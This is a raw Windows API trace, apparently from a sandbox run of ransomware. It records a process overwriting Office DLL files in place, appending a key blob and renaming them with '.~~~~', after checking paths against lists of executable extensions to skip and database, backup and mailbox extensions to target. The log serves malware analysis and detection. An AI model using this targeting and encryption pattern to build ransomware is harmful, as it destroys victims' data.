	[0078.882] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0078.882] GetLastError () returned 0x0
	[0078.883] GetLastError () returned 0x0
	[0078.883] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0078.883] GetLastError () returned 0x0
	[0078.883] GetLastError () returned 0x0
	[0078.883] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.897] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.897] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0078.898] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.898] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.899] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.899] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.899] CloseHandle (hObject=0x120) returned 1
	[0078.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5b18
	[0078.899] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.~~~~")) returned 1
	[0078.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5b18 | out: hHeap=0x300000) returned 1
	[0078.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0078.900] GetLastError () returned 0x0
	[0078.901] RtlWakeConditionVariable () returned 0x365f70
	[0078.901] GetCurrentThreadId () returned 0x3a4
	[0078.901] GetCurrentThreadId () returned 0x3a4
	[0078.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0078.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6958 | out: hHeap=0x300000) returned 1
	[0078.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b250 | out: hHeap=0x300000) returned 1
	[0078.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6958
	[0078.901] lstrlenW (lpString=".scr") returned 4
	[0078.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".scr") returned 0x0
	[0078.901] lstrlenW (lpString=".cmd") returned 4
	[0078.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".cmd") returned 0x0
	[0078.901] lstrlenW (lpString=".dll") returned 4
	[0078.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".dll") returned 0x0
	[0078.901] lstrlenW (lpString=".bat") returned 4
	[0078.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".bat") returned 0x0
	[0078.901] lstrlenW (lpString=".cpl") returned 4
	[0078.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".cpl") returned 0x0
	[0078.901] lstrlenW (lpString=".sys") returned 4
	[0078.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".sys") returned 0x0
	[0078.901] lstrlenW (lpString=".msc") returned 4
	[0078.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".msc") returned 0x0
	[0078.901] lstrlenW (lpString=".com") returned 4
	[0078.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".com") returned 0x0
	[0078.901] lstrlenW (lpString=".lnk") returned 4
	[0078.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".lnk") returned 0x0
	[0078.901] lstrlenW (lpString=".msp") returned 4
	[0078.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".msp") returned 0x0
	[0078.902] lstrlenW (lpString=".pif") returned 4
	[0078.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".pif") returned 0x0
	[0078.902] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0078.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.902] lstrlenW (lpString=".sqb") returned 4
	[0078.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".sqb") returned 0x0
	[0078.902] lstrlenW (lpString=".ost") returned 4
	[0078.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".ost") returned 0x0
	[0078.903] lstrlenW (lpString=".txt") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".txt") returned 0x0
	[0078.903] lstrlenW (lpString=".mdt") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".mdt") returned 0x0
	[0078.903] lstrlenW (lpString=".BDB") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".BDB") returned 0x0
	[0078.903] lstrlenW (lpString=".eql") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".eql") returned 0x0
	[0078.903] lstrlenW (lpString=".DBF") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".DBF") returned 0x0
	[0078.903] lstrlenW (lpString=".EQL") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".EQL") returned 0x0
	[0078.903] lstrlenW (lpString=".FDB") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".FDB") returned 0x0
	[0078.903] lstrlenW (lpString=".EDB") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".EDB") returned 0x0
	[0078.903] lstrlenW (lpString=".DACPAC") returned 7
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".DACPAC") returned 0x0
	[0078.903] lstrlenW (lpString=".VHD") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".VHD") returned 0x0
	[0078.903] lstrlenW (lpString=".DBV") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".DBV") returned 0x0
	[0078.903] lstrlenW (lpString=".dacpac") returned 7
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".dacpac") returned 0x0
	[0078.903] lstrlenW (lpString=".sdf") returned 4
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".sdf") returned 0x0
	[0078.903] lstrlenW (lpString=".accdb") returned 6
	[0078.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".accdb") returned 0x0
	[0078.904] lstrlenW (lpString=".DBX") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".DBX") returned 0x0
	[0078.904] lstrlenW (lpString=".MDT") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".MDT") returned 0x0
	[0078.904] lstrlenW (lpString=".SQB") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".SQB") returned 0x0
	[0078.904] lstrlenW (lpString=".vhd") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".vhd") returned 0x0
	[0078.904] lstrlenW (lpString=".bac") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".bac") returned 0x0
	[0078.904] lstrlenW (lpString=".mdf") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".mdf") returned 0x0
	[0078.904] lstrlenW (lpString=".BAK") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".BAK") returned 0x0
	[0078.904] lstrlenW (lpString=".BAC") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".BAC") returned 0x0
	[0078.904] lstrlenW (lpString=".dbs") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".dbs") returned 0x0
	[0078.904] lstrlenW (lpString=".vhdx") returned 5
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".vhdx") returned 0x0
	[0078.904] lstrlenW (lpString=".NDF") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".NDF") returned 0x0
	[0078.904] lstrlenW (lpString=".dat") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".dat") returned 0x0
	[0078.904] lstrlenW (lpString=".DBS") returned 4
	[0078.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".DBS") returned 0x0
	[0078.904] lstrlenW (lpString=".CKP") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".CKP") returned 0x0
	[0078.905] lstrlenW (lpString=".edb") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".edb") returned 0x0
	[0078.905] lstrlenW (lpString=".PST") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".PST") returned 0x0
	[0078.905] lstrlenW (lpString=".dbf") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".dbf") returned 0x0
	[0078.905] lstrlenW (lpString=".SQL") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".SQL") returned 0x0
	[0078.905] lstrlenW (lpString=".pst") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".pst") returned 0x0
	[0078.905] lstrlenW (lpString=".dbv") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".dbv") returned 0x0
	[0078.905] lstrlenW (lpString=".SDF") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".SDF") returned 0x0
	[0078.905] lstrlenW (lpString=".dtxs") returned 5
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".dtxs") returned 0x0
	[0078.905] lstrlenW (lpString=".db3") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".db3") returned 0x0
	[0078.905] lstrlenW (lpString=".OST") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".OST") returned 0x0
	[0078.905] lstrlenW (lpString=".dbx") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".dbx") returned 0x0
	[0078.905] lstrlenW (lpString=".DB3") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".DB3") returned 0x0
	[0078.905] lstrlenW (lpString=".DAT") returned 4
	[0078.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".DAT") returned 0x0
	[0078.905] lstrlenW (lpString=".VHDX") returned 5
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".VHDX") returned 0x0
	[0078.906] lstrlenW (lpString=".ndf") returned 4
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".ndf") returned 0x0
	[0078.906] lstrlenW (lpString=".DB") returned 3
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".DB") returned 0x0
	[0078.906] lstrlenW (lpString=".sql") returned 4
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".sql") returned 0x0
	[0078.906] lstrlenW (lpString=".MYD") returned 4
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".MYD") returned 0x0
	[0078.906] lstrlenW (lpString=".DBT") returned 4
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".DBT") returned 0x0
	[0078.906] lstrlenW (lpString=".ACCDB") returned 6
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".ACCDB") returned 0x0
	[0078.906] lstrlenW (lpString=".fdb") returned 4
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".fdb") returned 0x0
	[0078.906] lstrlenW (lpString=".bak") returned 4
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".bak") returned 0x0
	[0078.906] lstrlenW (lpString=".myd") returned 4
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".myd") returned 0x0
	[0078.906] lstrlenW (lpString=".DTXS") returned 5
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".DTXS") returned 0x0
	[0078.906] lstrlenW (lpString=".ckp") returned 4
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".ckp") returned 0x0
	[0078.906] lstrlenW (lpString=".dbt") returned 4
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".dbt") returned 0x0
	[0078.906] lstrlenW (lpString=".db") returned 3
	[0078.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".db") returned 0x0
	[0078.907] lstrlenW (lpString=".TXT") returned 4
	[0078.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".TXT") returned 0x0
	[0078.907] lstrlenW (lpString=".MDF") returned 4
	[0078.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".MDF") returned 0x0
	[0078.907] lstrlenW (lpString=".bdb") returned 4
	[0078.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".bdb") returned 0x0
	[0078.907] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0078.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.907] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0078.908] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.908] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0078.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0078.908] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19889827138) returned 1
	[0078.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x98e6ca70, dwHighDateTime=0x1d60e1e)) 
	[0078.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0078.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0078.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0078.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b250
	[0078.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b250 | out: hHeap=0x300000) returned 1
	[0078.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6808
	[0078.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6808 | out: hHeap=0x300000) returned 1
	[0078.909] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0078.909] GetLastError () returned 0x0
	[0078.909] GetLastError () returned 0x0
	[0078.909] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0078.909] GetLastError () returned 0x0
	[0078.909] GetLastError () returned 0x0
	[0078.909] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x51d0, lpOverlapped=0x0) returned 1
	[0079.007] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffae30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.008] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x51d0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x51d0, lpOverlapped=0x0) returned 1
	[0079.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0079.009] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.010] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.010] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.010] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.010] CloseHandle (hObject=0x120) returned 1
	[0079.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f63b8
	[0079.010] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.~~~~")) returned 1
	[0079.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f63b8 | out: hHeap=0x300000) returned 1
	[0079.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0079.011] GetLastError () returned 0x0
	[0079.011] RtlWakeConditionVariable () returned 0x365f70
	[0079.011] GetCurrentThreadId () returned 0x3a4
	[0079.011] GetCurrentThreadId () returned 0x3a4
	[0079.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0079.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6ca0 | out: hHeap=0x300000) returned 1
	[0079.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b3d8 | out: hHeap=0x300000) returned 1
	[0079.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6ca0
	[0079.012] lstrlenW (lpString=".scr") returned 4
